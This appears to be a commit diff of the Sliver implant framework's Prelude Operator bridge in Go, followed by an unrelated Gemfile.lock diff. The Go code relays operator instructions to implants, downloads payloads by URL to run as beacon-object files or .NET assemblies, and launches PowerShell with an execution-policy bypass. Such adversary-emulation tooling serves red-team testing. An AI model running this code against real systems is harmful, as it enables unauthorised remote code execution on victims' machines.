a.Beacon.Links = append(a.Beacon.Links, link)
a.Config.EndInstruction(link)
}
}
func requestPayload(target string) ([]byte, error) {
resp, err := http.Get(target)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
}
return ioutil.ReadAll(resp.Body)
}
func (a *AgentSession) refreshBeacon(conf *AgentConfig) {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Session),
})
if pwdResp != nil {
pwd = pwdResp.Path
}
a.Beacon.Sleep = conf.Sleep
a.Beacon.Range = conf.Range
a.Beacon.Pwd = pwd
a.Beacon.Target = conf.Address
a.Beacon.Executing = conf.BuildExecutingHash()
}
func MakeRequest(session *clientpb.Session) *commonpb.Request {
if session == nil {
return nil
}
timeout := int64(defaultTimeout)
return &commonpb.Request{
SessionID: session.ID,
Timeout: timeout,
}
}
+12 -37
View File
@@ -1,23 +1,5 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bytes"
"context"
@@ -27,6 +9,7 @@ import (
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
@@ -42,9 +25,9 @@ type bofArgs struct {
Value interface{} `json:"value"`
}
func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs, onFinishCallback func(string, int, int)) (output string, err error) {
if !isLoaderLoaded(implant, rpc) {
err = registerLoader(implant, rpc)
func runBOF(session *clientpb.Session, rpc rpcpb.SliverRPCClient, bof []byte, args []bofArgs) (output string, err error) {
if !isLoaderLoaded(session, rpc) {
err = registerLoader(session, rpc)
if err != nil {
return
}
@@ -54,8 +37,6 @@ func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args [
}
for _, a := range args {
switch a.ArgType {
case "integer":
fallthrough
case "int":
if v, ok := a.Value.(float64); ok {
err = bofArgs.AddInt(uint32(v))
@@ -108,19 +89,13 @@ func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args [
ServerStore: false,
Args: extArgsBuffer,
Export: loaderEntryPoint,
Request: MakeRequest(implant),
Request: MakeRequest(session),
})
if err != nil {
return
}
// If Async req, onFinishCallback won't be nil
if onFinishCallback != nil {
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
@@ -129,16 +104,16 @@ func runBOF(implant ActiveImplant, rpc rpcpb.SliverRPCClient, bof []byte, args [
return
}
func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
func registerLoader(session *clientpb.Session, rpc rpcpb.SliverRPCClient) error {
var coffLoaderPath string
switch implant.GetArch() {
switch session.Arch {
case "amd64":
coffLoaderPath = "COFFLoader.x64.dll"
case "386":
coffLoaderPath = "COFFLoader.x86.dll"
}
loaderPath := path.Join(assets.GetExtensionsDir(), coffLoaderName, coffLoaderPath)
loaderPath := path.Join(assets.GetExtensionsDir(), "windows", session.Arch, coffLoaderPath)
loaderData, err := ioutil.ReadFile(loaderPath)
if err != nil {
return err
@@ -146,9 +121,9 @@ func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
resp, err := rpc.RegisterExtension(context.Background(), &sliverpb.RegisterExtensionReq{
Name: coffLoaderName,
Data: loaderData,
OS: implant.GetOS(),
OS: session.OS,
Init: "",
Request: MakeRequest(implant),
Request: MakeRequest(session),
})
if err != nil {
return err
@@ -159,9 +134,9 @@ func registerLoader(implant ActiveImplant, rpc rpcpb.SliverRPCClient) error {
return nil
}
func isLoaderLoaded(implant ActiveImplant, rpc rpcpb.SliverRPCClient) bool {
func isLoaderLoaded(session *clientpb.Session, rpc rpcpb.SliverRPCClient) bool {
extList, err := rpc.ListExtensions(context.Background(), &sliverpb.ListExtensionsReq{
Request: MakeRequest(implant),
Request: MakeRequest(session),
})
if err != nil {
return false
-206
View File
@@ -1,206 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"bufio"
"context"
"encoding/hex"
"encoding/json"
"fmt"
"io/ioutil"
"net"
"net/http"
"strings"
"time"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/util"
)
const (
defaultTimeout = 60
delim = "\r\n"
)
// OperatorImplantBridge maps the Sliver implants (whether it be a beacon or a session)
// to a Prelude Operator implant with a TCP transport.
type OperatorImplantBridge struct {
Conn *net.Conn
Implant ActiveImplant
RPC rpcpb.SliverRPCClient
PBeacon OperatorBeacon
BeaconCallback func(string, func(*clientpb.BeaconTask))
Config AgentConfig
recv chan []byte
send chan []byte
}
func NewImplantBridge(c *net.Conn, a ActiveImplant, rpc rpcpb.SliverRPCClient, pbeacon OperatorBeacon, conf AgentConfig, callback func(string, func(*clientpb.BeaconTask))) *OperatorImplantBridge {
return &OperatorImplantBridge{
Conn: c,
Implant: a,
RPC: rpc,
Config: conf,
BeaconCallback: callback,
PBeacon: pbeacon,
recv: make(chan []byte),
send: make(chan []byte),
}
}
func (a *OperatorImplantBridge) register() {
data, err := json.Marshal(a.PBeacon)
if err != nil {
return
}
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
}
func (a *OperatorImplantBridge) ReceiveLoop() {
a.register()
go func() {
for {
data := <-a.send
encrypted := util.Encrypt(data, []byte(a.Config.AESKey), nil)
dataBuff := append([]byte(fmt.Sprintf("%x", encrypted)), "\n"...)
(*a.Conn).Write(dataBuff)
time.Sleep(time.Duration(a.PBeacon.Sleep))
}
}()
for {
scanner := bufio.NewScanner(*a.Conn)
for scanner.Scan() {
msg := strings.TrimSpace(scanner.Text())
a.handleMessage(msg)
}
}
}
func (a *OperatorImplantBridge) handleMessage(message string) {
var tempBeacon OperatorBeacon
decoded, err := hex.DecodeString(message)
if err != nil {
return
}
if err := json.Unmarshal(util.Decrypt(decoded, []byte(a.Config.AESKey)), &tempBeacon); err == nil {
a.PBeacon.Links = a.PBeacon.Links[:0]
a.runLinks(&tempBeacon)
}
}
func (implantBridge *OperatorImplantBridge) runLinks(tempBeacon *OperatorBeacon) {
for _, link := range implantBridge.Config.StartInstructions(tempBeacon.Links) {
time.Sleep(time.Second * 1)
var payload []byte
if link.Payload != "" {
payload, _ = requestPayload(link.Payload)
}
// If we're running on a Beacon
if implantBridge.BeaconCallback != nil {
RunCommand(link.Request, link.Executor, payload, implantBridge, func(response string, status int, pid int) {
link.Response = response
link.Status = status
link.Pid = pid
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
implantBridge.Config.EndInstruction(link)
implantBridge.refreshBeacon()
data, err := json.Marshal(implantBridge.PBeacon)
if err != nil {
return
}
implantBridge.send <- data
})
return
}
// Running on a Session
response, status, pid := RunCommand(link.Request, link.Executor, payload, implantBridge, nil)
link.Response = response
link.Status = status
link.Pid = pid
implantBridge.PBeacon.Links = append(implantBridge.PBeacon.Links, link)
implantBridge.Config.EndInstruction(link)
implantBridge.refreshBeacon()
data, err := json.Marshal(implantBridge.PBeacon)
if err != nil {
return
}
implantBridge.send <- data
}
}
func requestPayload(target string) ([]byte, error) {
resp, err := http.Get(target)
if err != nil {
return nil, err
}
if resp.StatusCode != 200 {
return nil, fmt.Errorf("invalid status code: %d", resp.StatusCode)
}
return ioutil.ReadAll(resp.Body)
}
func (a *OperatorImplantBridge) refreshBeacon() {
var pwd string
pwdResp, _ := a.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a.Implant),
})
if pwdResp != nil {
pwd = pwdResp.Path
}
a.PBeacon.Sleep = a.Config.Sleep
a.PBeacon.Range = a.Config.Range
a.PBeacon.Pwd = pwd
a.PBeacon.Target = a.Config.Address
a.PBeacon.Executing = a.Config.BuildExecutingHash()
}
func MakeRequest(a ActiveImplant) *commonpb.Request {
timeout := int64(defaultTimeout)
req := &commonpb.Request{
Timeout: timeout,
}
if a == nil {
return nil
}
beacon, ok := a.(*clientpb.Beacon)
if ok {
req.BeaconID = beacon.ID
req.Async = true
return req
}
session, ok := a.(*clientpb.Session)
if ok {
req.SessionID = session.ID
req.Async = false
return req
}
return nil
}
+14 -53
View File
@@ -2,7 +2,7 @@ package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -24,13 +24,11 @@ import (
"fmt"
"strings"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
//RunCommand executes a given command
func RunCommand(message string, executor string, payload []byte, agentSession *OperatorImplantBridge, onFinish func(string, int, int)) (string, int, int) {
func RunCommand(message string, executor string, payload []byte, agentSession *AgentSession) (string, int, int) {
switch executor {
case "keyword":
task := splitMessage(message, '.')
@@ -48,25 +46,7 @@ func RunCommand(message string, executor string, payload []byte, agentSession *O
if payload == nil {
return "missing BOF file", ErrorExitStatus, ErrorExitStatus
}
out, err := runBOF(agentSession.Implant, agentSession.RPC, payload, bargs, onFinish)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return out, 0, 0
case "execute-assembly":
if len(task) < 2 {
break
}
var eaargs execasmArgs
argStr := strings.ReplaceAll(task[1], `\`, `\\`)
err := json.Unmarshal([]byte(argStr), &eaargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
if payload == nil {
return "missing .NET assembly", ErrorExitStatus, ErrorExitStatus
}
out, err := execAsm(agentSession.Implant, agentSession.RPC, payload, eaargs, onFinish)
out, err := runBOF(agentSession.Session, agentSession.RPC, payload, bargs)
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
@@ -77,47 +57,30 @@ func RunCommand(message string, executor string, payload []byte, agentSession *O
return "Keyword selected not available for agent", ErrorExitStatus, ErrorExitStatus
}
default:
bites, status, pid := execute(message, executor, agentSession, onFinish)
bites, status, pid := execute(message, executor, agentSession)
return string(bites), status, pid
}
return "", ErrorExitStatus, ErrorExitStatus
}
func execute(cmd string, executor string, implantBridge *OperatorImplantBridge, onFinishCallback func(string, int, int)) (string, int, int) {
func execute(cmd string, executor string, agentSession *AgentSession) (string, int, int) {
args := append(getCmdArg(executor), cmd)
if executor == "psh" {
executor = "powershell.exe"
} else if executor == "exec" {
commandSections := strings.Fields(cmd)
executor = commandSections[0]
args = commandSections[1:]
}
execResp, err := implantBridge.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
execResp, err := agentSession.RPC.Execute(context.Background(), &sliverpb.ExecuteReq{
Path: executor,
Args: args,
Output: true,
Request: MakeRequest(implantBridge.Implant),
Request: MakeRequest(agentSession.Session),
})
if err != nil {
return fmt.Sprintf("Error: %s\n", err.Error()), -1, -1
return fmt.Sprintf("Error: %s\n", err.Error()), 0, 0
}
// Beacon
if execResp.Response != nil && execResp.Response.Async {
implantBridge.BeaconCallback(execResp.Response.TaskID, func(task *clientpb.BeaconTask) {
err = proto.Unmarshal(task.Response, execResp)
if err != nil {
return
}
onFinishCallback(string(execResp.Stdout), int(execResp.Status), int(execResp.Pid))
})
return "", 0, 0
}
// Session
if execResp.Response != nil && execResp.Response.Err != "" {
return execResp.Response.Err, SuccessExitStatus, SuccessExitStatus
return execResp.Response.Err, 0, 0
}
return string(execResp.Stdout), int(execResp.Status), int(execResp.Pid)
}
@@ -126,11 +89,9 @@ func getCmdArg(executor string) []string {
var args []string
switch executor {
case "cmd":
args = []string{"/S", "/C"}
args = []string{"/C", "/S"}
case "powershell", "psh":
args = []string{"-execu", "-C"}
case "exec":
args = []string{}
args = []string{"-execu", "ByPasS", "-C"}
case "sh", "bash", "zsh":
args = []string{"-c"}
}
@@ -148,13 +109,13 @@ func splitMessage(message string, splitRune rune) []string {
return values
}
func shutdown(agentSession *OperatorImplantBridge) (string, int, int) {
func shutdown(agentSession *AgentSession) (string, int, int) {
_, err := agentSession.RPC.Kill(context.Background(), &sliverpb.KillReq{
Force: false,
Request: MakeRequest(agentSession.Implant),
Request: MakeRequest(agentSession.Session),
})
if err != nil {
return err.Error(), ErrorExitStatus, ErrorExitStatus
}
return fmt.Sprintf("Terminated %s", agentSession.Implant.GetID()), SuccessExitStatus, int(agentSession.Implant.GetPID())
return fmt.Sprintf("Terminated %s", agentSession.Session.Name), SuccessExitStatus, SuccessExitStatus
}
+3 -3
View File
@@ -2,7 +2,7 @@ package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -32,7 +32,7 @@ const (
type Configuration interface {
ApplyConfig(ac map[string]interface{})
BuildBeacon() OperatorBeacon
BuildBeacon() Beacon
}
type AgentConfig struct {
@@ -52,7 +52,7 @@ type AgentConfig struct {
Executing map[string]Instruction
}
type OperatorBeacon struct {
type Beacon struct {
Name string
Target string
Hostname string
-68
View File
@@ -1,68 +0,0 @@
package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"context"
"errors"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
type execasmArgs struct {
IsDLL bool `json:"isDLL"`
Process string `json:"process"`
Arguments string `json:"arguments"`
Architecture string `json:"architecture"`
Method string `json:"method"`
Class string `json:"class"`
AppDomain string `json:"appDomain"`
}
func execAsm(implant ActiveImplant, rpc rpcpb.SliverRPCClient, asm []byte, args execasmArgs, onFinishCallback func(string, int, int)) (output string, err error) {
extResp, err := rpc.ExecuteAssembly(context.Background(), &sliverpb.ExecuteAssemblyReq{
Request: MakeRequest(implant),
IsDLL: args.IsDLL,
Process: args.Process,
Arguments: args.Arguments,
Assembly: asm,
Arch: args.Architecture,
Method: args.Method,
ClassName: args.Class,
AppDomain: args.AppDomain,
})
if err != nil {
return
}
// If Async req, onFinishCallback won't be nil
if onFinishCallback != nil {
onFinishCallback(string(extResp.Output), SuccessExitStatus, int(implant.GetPID()))
return
}
if extResp.Response != nil && extResp.Response.Err != "" {
err = errors.New(extResp.Response.Err)
}
output = string(extResp.Output)
return
}
+40 -56
View File
@@ -2,7 +2,7 @@ package prelude
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
@@ -21,6 +21,7 @@ package prelude
import (
"context"
"errors"
"fmt"
"net"
"sync"
@@ -30,7 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/sliverpb"
)
var ImplantMapper *OperatorImplantMapper
var SessionMapper *PreludeSessionMapper
const defaultImplantSleep = 5
@@ -41,45 +42,30 @@ type OperatorConfig struct {
AESKey string
}
// OperatorImplantMapper maps an OperatorConfig with
// active Sliver implant sessions/beacons
type OperatorImplantMapper struct {
implantBridges []*OperatorImplantBridge
conf *OperatorConfig
type PreludeSessionMapper struct {
sessions []*AgentSession
conf *OperatorConfig
sync.Mutex
}
// ActiveImplant exposes common methods between
// Sliver clientpb.Session and clientpb.Beacon
// that are required by Operator implants
type ActiveImplant interface {
GetID() string
GetHostname() string
GetPID() int32
GetOS() string
GetArch() string
GetFilename() string
GetReconnectInterval() int64
}
func InitImplantMapper(conf *OperatorConfig) *OperatorImplantMapper {
if ImplantMapper == nil {
ImplantMapper = &OperatorImplantMapper{
implantBridges: make([]*OperatorImplantBridge, 0),
conf: conf,
func InitSessionMapper(conf *OperatorConfig) *PreludeSessionMapper {
if SessionMapper == nil {
SessionMapper = &PreludeSessionMapper{
sessions: make([]*AgentSession, 0),
conf: conf,
}
}
return ImplantMapper
return SessionMapper
}
func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string, func(*clientpb.BeaconTask))) error {
func (p *PreludeSessionMapper) AddSession(s *clientpb.Session) error {
var pwd string
conn, err := net.Dial("tcp", p.conf.OperatorURL)
if err != nil {
return err
}
pwdResp, err := p.conf.RPC.Pwd(context.Background(), &sliverpb.PwdReq{
Request: MakeRequest(a),
Request: MakeRequest(s),
})
if err != nil {
return err
@@ -87,57 +73,55 @@ func (p *OperatorImplantMapper) AddImplant(a ActiveImplant, callback func(string
if pwdResp != nil {
pwd = pwdResp.Path
}
// Use a default sleep time for sessions,
// but respect the one we have for beacons
sleepTime := defaultImplantSleep
if b, ok := a.(*clientpb.Beacon); ok {
sleepTime = int(b.ReconnectInterval)
}
beacon := OperatorBeacon{
Name: a.GetID(),
// Operator implants have embedded static IDs, but we don't,
// so to avoid having multiple sessions showing as one on the Operator
// GUI, we need to have a unique name for them.
// Plus, having the ID in the name will help the user to make the
// correlation.
sessName := fmt.Sprintf("%s-%s", s.Name, s.ID)
beacon := Beacon{
Name: sessName,
Target: p.conf.OperatorURL,
Hostname: a.GetHostname(),
Location: a.GetFilename(),
Platform: a.GetOS(),
Hostname: s.Hostname,
Location: s.Filename,
Platform: s.OS,
Range: p.conf.Range,
Executors: util.DetermineExecutors(a.GetOS(), a.GetArch()),
Executors: util.DetermineExecutors(s.OS, s.Arch),
Links: make([]Instruction, 0),
Executing: "",
Pwd: pwd,
Sleep: int(sleepTime),
Sleep: defaultImplantSleep,
}
if p.conf.AESKey == "" {
return errors.New("missing AES key")
}
a.GetID()
encryptionKey := p.conf.AESKey
agentConfig := AgentConfig{
Name: a.GetID(),
Name: sessName,
AESKey: encryptionKey,
Range: p.conf.Range,
Contact: "tcp",
Address: p.conf.OperatorURL,
Pid: int(a.GetPID()),
Pid: int(s.PID),
Executing: make(map[string]Instruction),
Sleep: int(sleepTime),
Sleep: defaultImplantSleep,
}
bridge := NewImplantBridge(&conn, a, p.conf.RPC, beacon, agentConfig, callback)
util.EncryptionKey = &agentConfig.AESKey
agentSession := NewAgentSession(&conn, s, p.conf.RPC, beacon, agentConfig)
p.Lock()
p.implantBridges = append(p.implantBridges, bridge)
p.sessions = append(p.sessions, agentSession)
p.Unlock()
go bridge.ReceiveLoop()
go agentSession.ReceiveLoop()
return nil
}
func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
func (p *PreludeSessionMapper) RemoveSession(s *clientpb.Session) (err error) {
p.Lock()
for _, bridge := range p.implantBridges {
if bridge.Implant.GetID() == imp.GetID() {
if bridge.Conn != nil {
err = (*bridge.Conn).Close()
for _, agentSession := range p.sessions {
if agentSession.Session.ID == s.ID {
if agentSession.Conn != nil {
err = (*agentSession.Conn).Close()
} else {
err = errors.New("connection is nil")
}
@@ -147,6 +131,6 @@ func (p *OperatorImplantMapper) RemoveImplant(imp ActiveImplant) (err error) {
return err
}
func (p *OperatorImplantMapper) GetConfig() *OperatorConfig {
func (p *PreludeSessionMapper) GetConfig() *OperatorConfig {
return p.conf
}
@@ -22,43 +22,44 @@ import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/hex"
"errors"
"fmt"
"io"
)
var EncryptionKey *string
//Encrypt the results
func Encrypt(data []byte, key []byte, iv []byte) []byte {
plainText, err := pad(data, aes.BlockSize)
func Encrypt(bites []byte) []byte {
plainText, err := pad(bites, aes.BlockSize)
if err != nil {
return make([]byte, 0)
}
block, _ := aes.NewCipher(key)
block, _ := aes.NewCipher([]byte(*EncryptionKey))
cipherText := make([]byte, aes.BlockSize+len(plainText))
// Create a random IV if none was provided
// len(nil) returns 0
if len(iv) == 0 {
iv = cipherText[:aes.BlockSize]
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return make([]byte, 0)
}
iv := cipherText[:aes.BlockSize]
if _, err := io.ReadFull(rand.Reader, iv); err != nil {
return make([]byte, 0)
}
mode := cipher.NewCBCEncrypter(block, iv)
mode.CryptBlocks(cipherText[aes.BlockSize:], plainText)
return cipherText
return []byte(fmt.Sprintf("%x", cipherText))
}
//Decrypt a command
func Decrypt(data []byte, key []byte) []byte {
block, err := aes.NewCipher(key)
func Decrypt(text string) string {
cipherText, _ := hex.DecodeString(text)
block, err := aes.NewCipher([]byte(*EncryptionKey))
if err != nil {
return nil
return ""
}
iv := data[:aes.BlockSize]
data = data[aes.BlockSize:]
iv := cipherText[:aes.BlockSize]
cipherText = cipherText[aes.BlockSize:]
mode := cipher.NewCBCDecrypter(block, iv)
mode.CryptBlocks(data, data)
data, _ = unpad(data, aes.BlockSize)
return data
mode.CryptBlocks(cipherText, cipherText)
cipherText, _ = unpad(cipherText, aes.BlockSize)
return string(cipherText)
}
func pad(buf []byte, size int) ([]byte, error) {
+8 -6
View File
@@ -21,23 +21,25 @@ package util
func DetermineExecutors(platform string, arch string) []string {
platformExecutors := map[string]map[string][]string{
"windows": {
"file": {"pwsh.exe", "powershell.exe", "cmd.exe", "", ""},
"executor": {"pwsh", "psh", "cmd", "bof", "exec"},
"file": {"pwsh.exe", "powershell.exe", "cmd.exe"},
"executor": {"pwsh", "psh", "cmd", "bof"},
},
"linux": {
"file": {"python3", "sh", "bash"},
"executor": {"python", "sh", "bash"},
"file": {"python3", "pwsh", "sh", "bash"},
"executor": {"python", "pwsh", "sh", "bash"},
},
"darwin": {
"file": {"python3", "zsh", "sh", "osascript", "bash"},
"executor": {"python", "zsh", "sh", "osa", "bash"},
"file": {"python3", "pwsh", "zsh", "sh", "osascript", "bash"},
"executor": {"python", "pwsh", "zsh", "sh", "osa", "bash"},
},
}
var executors []string
for platformKey, platformValue := range platformExecutors {
if platform == platformKey {
for i := range platformValue["file"] {
// if checkIfExecutorAvailable(platformValue["file"][i]) {
executors = append(executors, platformExecutors[platformKey]["executor"][i])
// }
}
}
}
+83 -89
View File
@@ -1,7 +1,7 @@
GEM
remote: https://rubygems.org/
specs:
activesupport (6.0.4.6)
activesupport (6.0.4)
concurrent-ruby (~> 1.0, >= 1.0.2)
i18n (>= 0.7, < 2)
minitest (~> 5.1)
@@ -14,54 +14,48 @@ GEM
execjs
coffee-script-source (1.11.1)
colorator (1.1.0)
commonmarker (0.23.4)
commonmarker (0.17.13)
ruby-enum (~> 0.5)
concurrent-ruby (1.1.9)
dnsruby (1.61.9)
dnsruby (1.61.7)
simpleidn (~> 0.1)
em-websocket (0.5.3)
em-websocket (0.5.2)
eventmachine (>= 0.12.9)
http_parser.rb (~> 0)
ethon (0.15.0)
http_parser.rb (~> 0.6.0)
ethon (0.14.0)
ffi (>= 1.15.0)
eventmachine (1.2.7)
execjs (2.8.1)
faraday (1.10.0)
faraday (1.5.0)
faraday-em_http (~> 1.0)
faraday-em_synchrony (~> 1.0)
faraday-excon (~> 1.1)
faraday-httpclient (~> 1.0)
faraday-multipart (~> 1.0)
faraday-httpclient (~> 1.0.1)
faraday-net_http (~> 1.0)
faraday-net_http_persistent (~> 1.0)
faraday-net_http_persistent (~> 1.1)
faraday-patron (~> 1.0)
faraday-rack (~> 1.0)
faraday-retry (~> 1.0)
multipart-post (>= 1.2, < 3)
ruby2_keywords (>= 0.0.4)
faraday-em_http (1.0.0)
faraday-em_synchrony (1.0.0)
faraday-excon (1.1.0)
faraday-httpclient (1.0.1)
faraday-multipart (1.0.3)
multipart-post (>= 1.2, < 3)
faraday-net_http (1.0.1)
faraday-net_http_persistent (1.2.0)
faraday-net_http_persistent (1.1.0)
faraday-patron (1.0.0)
faraday-rack (1.0.0)
faraday-retry (1.0.3)
ffi (1.15.5)
ffi (1.15.3)
forwardable-extended (2.6.0)
gemoji (3.0.1)
github-pages (225)
github-pages-health-check (= 1.17.9)
github-pages (215)
github-pages-health-check (= 1.17.2)
jekyll (= 3.9.0)
jekyll-avatar (= 0.7.0)
jekyll-coffeescript (= 1.1.1)
jekyll-commonmark-ghpages (= 0.2.0)
jekyll-commonmark-ghpages (= 0.1.6)
jekyll-default-layout (= 0.1.4)
jekyll-feed (= 0.15.1)
jekyll-gist (= 1.5.0)
jekyll-github-metadata (= 2.13.0)
jekyll-include-cache (= 0.2.1)
jekyll-mentions (= 1.6.0)
jekyll-optional-front-matter (= 0.3.2)
jekyll-paginate (= 1.1.0)
@@ -70,22 +64,22 @@ GEM
jekyll-relative-links (= 0.6.1)
jekyll-remote-theme (= 0.4.3)
jekyll-sass-converter (= 1.5.2)
jekyll-seo-tag (= 2.8.0)
jekyll-seo-tag (= 2.7.1)
jekyll-sitemap (= 1.4.0)
jekyll-swiss (= 1.0.0)
jekyll-theme-architect (= 0.2.0)
jekyll-theme-cayman (= 0.2.0)
jekyll-theme-dinky (= 0.2.0)
jekyll-theme-hacker (= 0.2.0)
jekyll-theme-leap-day (= 0.2.0)
jekyll-theme-merlot (= 0.2.0)
jekyll-theme-midnight (= 0.2.0)
jekyll-theme-minimal (= 0.2.0)
jekyll-theme-modernist (= 0.2.0)
jekyll-theme-primer (= 0.6.0)
jekyll-theme-slate (= 0.2.0)
jekyll-theme-tactile (= 0.2.0)
jekyll-theme-time-machine (= 0.2.0)
jekyll-theme-architect (= 0.1.1)
jekyll-theme-cayman (= 0.1.1)
jekyll-theme-dinky (= 0.1.1)
jekyll-theme-hacker (= 0.1.2)
jekyll-theme-leap-day (= 0.1.1)
jekyll-theme-merlot (= 0.1.1)
jekyll-theme-midnight (= 0.1.1)
jekyll-theme-minimal (= 0.1.1)
jekyll-theme-modernist (= 0.1.1)
jekyll-theme-primer (= 0.5.4)
jekyll-theme-slate (= 0.1.1)
jekyll-theme-tactile (= 0.1.1)
jekyll-theme-time-machine (= 0.1.1)
jekyll-titles-from-headings (= 0.5.3)
jemoji (= 0.12.0)
kramdown (= 2.3.1)
@@ -93,19 +87,19 @@ GEM
liquid (= 4.0.3)
mercenary (~> 0.3)
minima (= 2.5.1)
nokogiri (>= 1.12.5, < 2.0)
nokogiri (>= 1.10.4, < 2.0)
rouge (= 3.26.0)
terminal-table (~> 1.4)
github-pages-health-check (1.17.9)
github-pages-health-check (1.17.2)
addressable (~> 2.3)
dnsruby (~> 1.60)
octokit (~> 4.0)
public_suffix (>= 3.0, < 5.0)
public_suffix (>= 2.0.2, < 5.0)
typhoeus (~> 1.3)
html-pipeline (2.14.0)
activesupport (>= 2)
nokogiri (>= 1.4)
http_parser.rb (0.8.0)
http_parser.rb (0.6.0)
i18n (0.9.5)
concurrent-ruby (~> 1.0)
jekyll (3.9.0)
@@ -126,12 +120,12 @@ GEM
jekyll-coffeescript (1.1.1)
coffee-script (~> 2.2)
coffee-script-source (~> 1.11.1)
jekyll-commonmark (1.4.0)
commonmarker (~> 0.22)
jekyll-commonmark-ghpages (0.2.0)
commonmarker (~> 0.23.4)
jekyll (~> 3.9.0)
jekyll-commonmark (~> 1.4.0)
jekyll-commonmark (1.3.1)
commonmarker (~> 0.14)
jekyll (>= 3.7, < 5.0)
jekyll-commonmark-ghpages (0.1.6)
commonmarker (~> 0.17.6)
jekyll-commonmark (~> 1.2)
rouge (>= 2.0, < 4.0)
jekyll-default-layout (0.1.4)
jekyll (~> 3.0)
@@ -142,8 +136,6 @@ GEM
jekyll-github-metadata (2.13.0)
jekyll (>= 3.4, < 5.0)
octokit (~> 4.0, != 4.4.0)
jekyll-include-cache (0.2.1)
jekyll (>= 3.7, < 5.0)
jekyll-mentions (1.6.0)
html-pipeline (~> 2.3)
jekyll (>= 3.7, < 5.0)
@@ -163,50 +155,50 @@ GEM
rubyzip (>= 1.3.0, < 3.0)
jekyll-sass-converter (1.5.2)
sass (~> 3.4)
jekyll-seo-tag (2.8.0)
jekyll-seo-tag (2.7.1)
jekyll (>= 3.8, < 5.0)
jekyll-sitemap (1.4.0)
jekyll (>= 3.7, < 5.0)
jekyll-swiss (1.0.0)
jekyll-theme-architect (0.2.0)
jekyll-theme-architect (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-cayman (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-dinky (0.1.1)
jekyll (~> 3.5)
jekyll-seo-tag (~> 2.0)
jekyll-theme-hacker (0.1.2)
jekyll (> 3.5, < 5.0)
jekyll-seo-tag (~> 2.0)
jekyll-theme-cayman (0.2.0)
